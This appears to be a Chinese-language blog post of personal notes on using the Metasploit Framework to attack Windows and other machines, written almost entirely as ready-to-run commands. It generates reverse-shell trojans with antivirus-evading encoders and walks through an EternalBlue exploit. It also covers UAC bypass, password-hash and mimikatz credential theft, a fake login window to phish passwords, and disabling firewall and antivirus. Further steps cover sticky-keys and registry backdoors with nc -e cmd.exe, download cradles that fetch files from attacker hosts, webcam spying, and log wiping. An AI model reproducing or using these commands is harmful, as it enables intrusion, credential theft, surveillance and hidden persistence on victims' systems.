0
点赞
收藏
分享

微信扫一扫

Metasploit Framework(msf)攻击框架使用笔记

大雁f 2022-03-17 阅读 106

Ubuntu快速安装msf的命令:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

msf更新命令

sudo msfupdate

Metasploit是一个免费的,可以下载的 攻击框架:

在这个体系之类是可以进行所有的操作的    例如:可以调用nmap

nmap -sV [目标ip]

msf就是一个攻击框架 而armitage就是把它做成图形化界面而已

软件本身是开源的 懂编程的可以进行修改

armitage是其图形界面 (可以图形界面和命令界面同时使用)

其他命令补充

sessions -k x   //x表示相应的sessions号 表示结束某个主机的进程

图形化界面启动方式:(缺点:反应太慢)

msfdb init
armitage  //默认不会安装 安装完再次输入即可进入
apt install armitage  //安装

命令行启动:

msfconsole   //打开msf

//1.配置木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 -f exe > shell.exe   //默认生成在home/XXX(用户名) 文件夹下
//2.压缩包压缩木马 仅仅是便于发送而已(可省略这步)
zip -r haha.zip shell.exe  //把shell.exe压缩成haha.zip
msfconsole
//payload投递示范
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp    //这里的地址一定要是刚刚配置的木马一样的payload地址 否则不能上线
show options  //查看等待配置的状态
set LHOST 192.168.1.104
set LPORT 3707
show options  //查看配置完的状态
exploit  //此时就已经开始监听3707端口了
background
sessions -i
sessions -i 1
shell  //获得权限
//退出cmd 的shell 再控制室可以输入help查看可以操控的命令
//例如:
screenshot  //可以截图该用户的当前界面

1.msf利用方式1:知道目标的漏洞并进行攻击利用

msf如果去攻击对方需要条件:

1.知道对方是存在漏洞的,且有漏洞利用的程序

2.攻击载荷(木马,病毒)

实战:使用metasploit实现永恒之蓝的攻击

永恒之蓝 ms17_010  (仅仅是一个漏洞。可以获得权限 至于后续捆绑木马以及免杀都是可以操作的)

利用条件:windows7且开放了445等端口就有可能成功

use exploit/    //可以查看所有可以利用的漏洞种类和信息
use exploit/windows/smb/ms17_010_eternalblue
show options    //查看需要配置的具体信息
set RHOSTS [目标ip]
show options   //查看设置完成以后的具体信息
run   //运行

help   //可以查看能够使用的很多功能

shell  //可以直接进入cmd的权限进行控制

应用2:msf内网渗透

生成exe木马(服务端):

msfvenom -a x86 -platform windows -p windows/meterpreter/reverse_tcp LHOST=[自己ip] LPORT=4444 -b "\00" -e x86/shikata_ga_nai -f exe > msf.exe

在msf里建立木马(控制端):

msfconsole
use exploit/multi/handler       //使用相应的漏洞利用程序
set payload windows/meterpreter/reverse_tcp   //设置攻击载荷 且要和木马端的方式一致
set LHOST [自己ip]
exploit 进入监听状态
exploit -j //进入监听状态并且自动转移到后台

此时如果有木马启动,就会连接我

help     //查看可以利用的东西以及可以执行的操作
background    //暂时不操作,把木马放到后台 不会关闭这个木马的操作
sessions      //查看控制了多少人 以及他们的情况
sessions -i 1    //进入1号主机控制端
jobs      //查看目前在执行多少任务
back     //后退一格
exit     //直接退出木马的控制

其他生成木马的命令:

生成mac木马:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=自己ip LPORT=4444 -f macho -o payload.macho

生成android木马(需要数字签名):
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=自己ip LPORT=4444 -f apk -o payload.apk

生成powershell木马:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=自己ip LPORT=4444 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

生成linux木马:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=自己ip LPORT=4444 -f elf -o payload.elf

生成python木马:
msfvenom -p python/meterpreter/reverse_tcp LHOST=自己ip LPORT=4444 -f raw -o payload.py

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 -f exe -o msf.exe

meterpreter操作:

UAC提权

getuid   //查看当前用户权限
getsystem    //直接提权(有风险,有可能会报错)  把人类可用最高权限提升到机器可用最高权限

考虑使用ask模块去提权

background 先把木马放到后台
use exploit/windows/local/ask 加载ask模块
info 查看漏洞信息
set SESSION 1    //使用漏洞在1号木马控制的目标上
set FILENAME   qq.exe   //伪装成文件名为qq
set LHOST [本地的ip地址]    //设置本地监听地址
exploit
会在用户桌面上弹出一个允许qq启动,用户选择yes,成功
getuid     //发现还不是system
getsystem  //可以提高到最高

UAC绕过提权(成功概率不高):

use exploit/windows/local/bypassuac (多用来进攻32位系统)
show options
set SESSION 1   //具体是几号机器就填相应的数字
exploit 开始攻击
//如果攻击成功,会给你一个新的session号
进入新的session号
getuid
getsystem

https://github.com/Screetsec/TheFatRat

GitHub - M4sc3r4n0/Evil-Droid   可以用于生成安卓的木马 可以和msf联动上线

GitHub - jbreed/apkinjector: Android APK Antivirus evasion for msfvenom generated payloads to inject into another APK file for phishing attacks.

目标信息采集:

msf目录下   cd /usr/share/metasploit-framework/scripts/resource/ 可以看到大佬的脚本
需要进入到一个sessions里
run post/windows/gather/forensics/xxxxx 取证模块
run post/windows/gather/checkvm 检测是否为虚拟机
run post/windows/gather/enum_services 查看运行的服务
run post/windows/gather/enum_applications 查看电脑安装了哪些应用
run post/windows/gather/enum_shares 查看共享
run post/windows/gather/dumplinks 查看最近操作(安装东西)
run post/windows/gather/enum_patches 查看用户安装了哪些补丁
run scraper 导出所有信息
run winenum 搜集系统环境变量

数据和嗅探:

进入session
load sniffer   //加载嗅探模块
sniffer_interfaces   //查看电脑网卡
sniffer_start 2    //对2号网卡进行嗅探操作
sniffer_dump 2 2.cap    //把2号网卡的数据包保存为/root/2.cap  可以通过wireshark软件分析到内容
wireshark 2.cap    //使用wireshark查看抓到的包
sniffer_stop 2     //停止对2号网卡的嗅探

host 注入

本质是修改目标机器的本地DNS域名解析服务器的配置

use post/windows/manage/inject_host 使用注入模块
show options
set IP [自己的ip]     //这里的ip是之后目标指向的ip
set DOMAIN [要篡改的域名]     //要伪造什么域名
set SESSION [session-id]    //对哪个session-id进行修改
exploit
//本质就是把被篡改的域名在访问的时候会自动转移到指向的ip地址

用户认证钓鱼窗口

进入sesion中
run post/windows/gather/phish_windows_credentials
// 这个时候管理员的桌面会出现认证窗口(假的) 钓鱼密码

passTheHash:

必须是system权限

进入一个session

run post/windows/gather/hashdump    //获得操作系统的用户hash值

//可以获取到管理员密码加密之后的密码,之后使用穷举的方法破解  可以考虑 彩虹表

使用猕猴桃:(最好用64位的载荷来访问猕猴桃 32位的可用的很少)

进入session

load mimikatz     /load kiwi     //加载猕猴桃

help kiwi   //查看猕猴桃的命令

creds_all   //列出所有的凭据

creds_kerberos  //拿到所有密码

creds_msv     //只列出加密之后的密码

电脑版本的猕猴桃

扫雷外挂

winmine::infos

windows防火墙和3389端口:

要使用远程桌面连接的条件  1.目标计算机本机是支持远程连接的  2.开放了3389端口
netsh advfirewall set allprofiles state off   //关闭防火墙
net stop windefend   //关闭defener
bcdedit.exe /set {current} nx AlwaysOff    //关闭dep(数据执行保护)

run killav    //关闭杀毒软件 大多数针对的是国外杀软 国内行不太通
(run post/windows/manage/killav)

run post/windows/manage/enable_rdp   //开启远程桌面(3389)

run getgui -e 开启远程桌面(不太靠谱)
run getgui -u 用户名 -p 密码
run getgui -e -f 8888 开启远程桌面并且绑定在8888端口上 连接为192.168.1.1:8888 默认是3389

kali图形界面使用远程桌面
rdesktop -u [用户名] -p [密码] [目标ip]

load espia
screengrab    //截图

后门植入:

meterpreter shell 运行是在内存中的,重启就会消失,进程中也可以关闭,非常的不持久

所以需要植入后门进行长久控制

拥有powershell等高权限时可以做的事情:

1.卸载对方的补丁 再用对应的漏洞去攻击电脑即可

2.给对方安装一些有漏洞的软件(比如说ftp程序,输入法等等)

PS:ftp服务使用

可以借助工具:小ftp 理解ftp服务器

在cmd中可以通过

ftp 192.168.1.1

来访问ftp服务器和其中相应的内容

PS2:考虑 粘滞键漏洞

按5下shift键可以打开粘滞键

新建一个bat文件 记事本输入如下命令  双击以后按5下shift 打开的就是cmd而不是粘滞键

优点:在用户登陆界面 未登录的情况下按5下shift直接召唤出cmd 也是一种控制的方法 

而且whoami获得的权限直接就是 system 机器可用最高权限

普通状态是登录者的权限,如果是 要登录的状态 召唤出漏洞就是 system权限

takeown /f c:\windows\system32\sethc.* /a /r /d y

cacls c:\windows\system32\sethc.exe /T /E /G system:F

cacls c:\windows\system32\sethc.exe /T /E /G administrator:F

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y

可持续性的系统后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 -f exe > msf.exe   //创建x64木马
meterpreter的木马默认是运行在内存里的

1.让木马通过服务去启动
run metsvc -A   //设定端口上传后门文件 会开启一个31337端口
如何利用后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set lport 31337
set rhost [对方的ip]
exploit

2.在session中启动(永久后门)
run persistence -A -S -U -i 60 -p 4321 -r [黑客ip]
安插一个永久性后门,60s上线一次,使用4321端口
目标电脑如果重启/注销/关机,会在开启后自动连接   如果本地msf关闭了,下次重开需要输入如下命令即可继续监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4321
set lhost [自己ip]
exploit
//即使sessions -k [id]   结束掉连接  过了60s还会回来

3.上传文件实现永久后门控制(例如可以上传nc这个工具)
进入一个session中
upload /root/nc.exe c:\\windows\\system32  (要上传的目录可以自定义)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run  查看注册表里有什么自启动内容
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'c:\nc.exe -Ldp 444 -e cmd.exe'  把nc放到自动启动里
reg queryval -k  HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc  查看代码写的对不对
先进入shell   然后输入netsh firewall show opmode  查看防火墙状态
先进入shell   然后输入netsh firewall add portopening TCP 444 "FireWall" ENABLE ALL   添加一个防火墙规则允许444端口通过
nc -v [目标ip] 444    目标主机重启之后 新建端口后 后续可以自行用nc控制该电脑

//拓展:
注册表修改的内容可以在msconfig的启动选项卡里看到
可以考虑使用自解压的方法进行伪装...

下载东西未必需要浏览器 只要有http协议就可以进行下载 下载的本质也就是拷贝服务器上的二进制代码到本地

使用vbs去远程下载文件:(切记 代码是一整行的 不能够换行)

创建一个a.vbs
set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2

cmd运行--->  cscript a.vbs http://www.xx.com/haha.txt c:\b.txt   //cscript a.vbs 下载的目标地址 下载到本地的什么位置  //a.vbs应该是下载的执行代码

使用echo直接写 完成vbs文件的创建 本质是一样的
echo set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> a.vbs

certutil功能:下载文件  校验hash值  加密解密文件

certutil -?    //可以查看命令的帮助

certutil -urlcache -split -f http://www.xx.com/haha.txt   会下载到本目录
certutil -urlcache -split -f [网页url]   //可以把网页完整的html文件下载下来

有一个弊端:
每次下载的时候,都有留存,导致留下入侵痕迹,所以每次下载之后,都要清理痕迹
certutil -urlcache -split -f http://www.xx.com/haha.txt delete

校验hash值:(用于检测文件文件是否受人篡改)  如果文件被动过,hash值就会改变
//可以使用这个命令去确保 文件下载之后是否被人修改过
certutil -hashfile c:\xxx.exe

加密解密文件:
certutil -encode c:\haha.txt c:\haha-en.txt    //base64加密解密的算法
certutil -decode c:\haha-en.txt c:\haha-de.txt

使用bitsadmin下载

下载主命令:
bitsadmin /rawreturn /transfer down http://www.xx.com/haha.txt c:\haha.txt

提高下载主命令的优先级(下载大型文件):
bitsadmin /setpriority down foreground

使用js下载:(具体操作都在cmd中的相应目录下)(缺点:不能下载大的文件)

创建一个a.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);

cscript /nologo a.js http://www.xx.com/haha.txt >> 123.txt

直接保存为文件(和上面的js 下载类似 只不过可以直接保存为相应的文件和格式 也就可以直接下载exe程序了)

修改相应的SaveToFile即可直接使用

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("abc.exe");

cscript /nologo a.js http://www.xx.com/aa.exe

使用ftp脚本:

a.bat
echo open [黑客ip] > ftp.txt
echo test>> ftp.txt
echo 123>> ftp.txt
echo binary>> ftp.txt
echo get haha.txt>> ftp.txt
echo bye >> ftp.txt

ftp -s:ftp.txt    //cmd下输入 把txt的内容当作脚本去执行

其他命令:

uictl [enable/disable] [keyboard/mouse/all] 开启/停用 键盘/鼠标

webcam_list 查看摄像头
webcam_snap 通过摄像头拍照
webcam_stream 通过摄像头开启视频

execute 在目标上执行文件
execute -H -i -f cmd.exe    //创建新的隐藏可交互的命令cmd.exe

getpid 获取当前进程的pid
ps 查看活跃进程
migrate [pid]     //将meterpreter转移到某个pid中
kill [pid]     //杀死某个进程

clearev 清除日志,清除windows里的应用程序,系统日志,安全日志  //依然会留下清除日志这条记录 掩耳盗铃 不建议使用

timestomp -v c://a.exe           //查看c盘的a.exe的时间戳
timestomp c://b.exe -f c://a.exe      //将a.exe的时间戳复制给b.exe 后面的时间戳给前面

举报

相关推荐

0 条评论